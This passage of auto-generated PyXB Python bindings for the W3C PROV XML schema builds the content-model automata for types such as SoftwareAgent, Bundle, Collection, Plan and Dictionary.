pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 183, 6)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(SoftwareAgent._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'type')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 184, 6)) st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.WildcardUse(pyxb.binding.content.Wildcard(process_contents=pyxb.binding.content.Wildcard.PC_strict, namespace_constraint=(pyxb.binding.content.Wildcard.NC_not, 'http://www.w3.org/ns/prov#')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 185, 6)) st_3 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_3) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False) ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_1, True) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False) ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_2, True) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, False) ])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_3, True) ])) st_3._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) SoftwareAgent._Automaton = _BuildAutomaton_30() def _BuildAutomaton_31 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_31 del _BuildAutomaton_31 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 30, 7)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 31, 7)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 32, 7)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 33, 7)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 35, 6)) counters.add(cc_4) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(Bundle._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'label')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 30, 7)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(Bundle._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'location')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 31, 7)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(Bundle._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'type')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 32, 7)) st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(Bundle._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'value')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 33, 7)) st_3 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.WildcardUse(pyxb.binding.content.Wildcard(process_contents=pyxb.binding.content.Wildcard.PC_skip, namespace_constraint=(pyxb.binding.content.Wildcard.NC_not, 'http://www.w3.org/ns/prov#')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 35, 6)) st_4 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_4) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False) ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_1, True) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False) ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_2, True) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, False) ])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_3, True) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, False) ])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_4, True) ])) st_4._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) Bundle._Automaton = _BuildAutomaton_31() def _BuildAutomaton_32 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_32 del _BuildAutomaton_32 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 30, 7)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 31, 7)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 32, 7)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 33, 7)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 35, 6)) counters.add(cc_4) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(Collection._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'label')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 30, 7)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(Collection._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'location')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 31, 7)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(Collection._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'type')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 32, 7)) st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(Collection._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'value')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 33, 7)) st_3 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.WildcardUse(pyxb.binding.content.Wildcard(process_contents=pyxb.binding.content.Wildcard.PC_skip, namespace_constraint=(pyxb.binding.content.Wildcard.NC_not, 'http://www.w3.org/ns/prov#')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 35, 6)) st_4 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_4) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False) ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_1, True) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False) ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_2, True) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, False) ])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_3, True) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, False) ])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_4, True) ])) st_4._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) Collection._Automaton = _BuildAutomaton_32() def _BuildAutomaton_33 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_33 del _BuildAutomaton_33 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 30, 7)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 31, 7)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 32, 7)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 33, 7)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 35, 6)) counters.add(cc_4) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(Plan._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'label')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 30, 7)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(Plan._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'location')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 31, 7)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(Plan._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'type')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 32, 7)) st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(Plan._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'value')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 33, 7)) st_3 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.WildcardUse(pyxb.binding.content.Wildcard(process_contents=pyxb.binding.content.Wildcard.PC_skip, namespace_constraint=(pyxb.binding.content.Wildcard.NC_not, 'http://www.w3.org/ns/prov#')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 35, 6)) st_4 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_4) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False) ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_1, True) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False) ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_2, True) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, False) ])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_3, True) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, False) ])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_4, True) ])) st_4._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) Plan._Automaton = _BuildAutomaton_33() def _BuildAutomaton_34 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_34 del _BuildAutomaton_34 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 30, 7)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 31, 7)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 32, 7)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 33, 7)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 35, 6)) counters.add(cc_4) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(EmptyCollection._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'label')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 30, 7)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(EmptyCollection._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'location')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 31, 7)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(EmptyCollection._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'type')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 32, 7)) st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(EmptyCollection._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'value')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 33, 7)) st_3 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.WildcardUse(pyxb.binding.content.Wildcard(process_contents=pyxb.binding.content.Wildcard.PC_skip, namespace_constraint=(pyxb.binding.content.Wildcard.NC_not, 'http://www.w3.org/ns/prov#')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 35, 6)) st_4 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_4) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False) ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_1, True) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False) ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_2, True) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, False) ])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_3, True) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, False) ])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_4, True) ])) st_4._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) EmptyCollection._Automaton = _BuildAutomaton_34() def _BuildAutomaton_35 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_35 del _BuildAutomaton_35 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 30, 7)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 31, 7)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 32, 7)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 33, 7)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 35, 6)) counters.add(cc_4) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(Dictionary._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'label')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 30, 7)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(Dictionary._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'location')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 31, 7)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(Dictionary._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'type')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 32, 7)) st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(Dictionary._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'value')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 33, 7)) st_3 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.WildcardUse(pyxb.binding.content.Wildcard(process_contents=pyxb.binding.content.Wildcard.PC_skip, namespace_constraint=(pyxb.binding.content.Wildcard.NC_not, 'http://www.w3.org/ns/prov#')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 35, 6)) st_4 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_4) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False) ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_1, True) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False) ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_2, True) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, False) ])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_3, True) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, False) ])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_4, True) ])) st_4._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) Dictionary._Automaton = _BuildAutomaton_35() def _BuildAutomaton_36 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_36 del _BuildAutomaton_36 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 30, 7)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 31, 7)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 32, 7)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 33, 7)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 35, 6)) counters.add(cc_4) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(EmptyDictionary._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'label')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 30, 7)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(EmptyDictionary._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'location')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 31, 7)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(EmptyDictionary._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'type')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 32, 7)) st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(EmptyDictionary._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'value')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 33, 7)) st_3 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.WildcardUse(pyxb.binding.content.Wildcard(process_contents=pyxb.binding.content.Wildcard.PC_skip, namespace_constraint=(pyxb.binding.content.Wildcard.NC_not, 'http://www.w3.org/ns/prov#')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 35, 6)) st_4 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_4) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False) ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_1, True) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False) ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_2, True) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, False) ])) 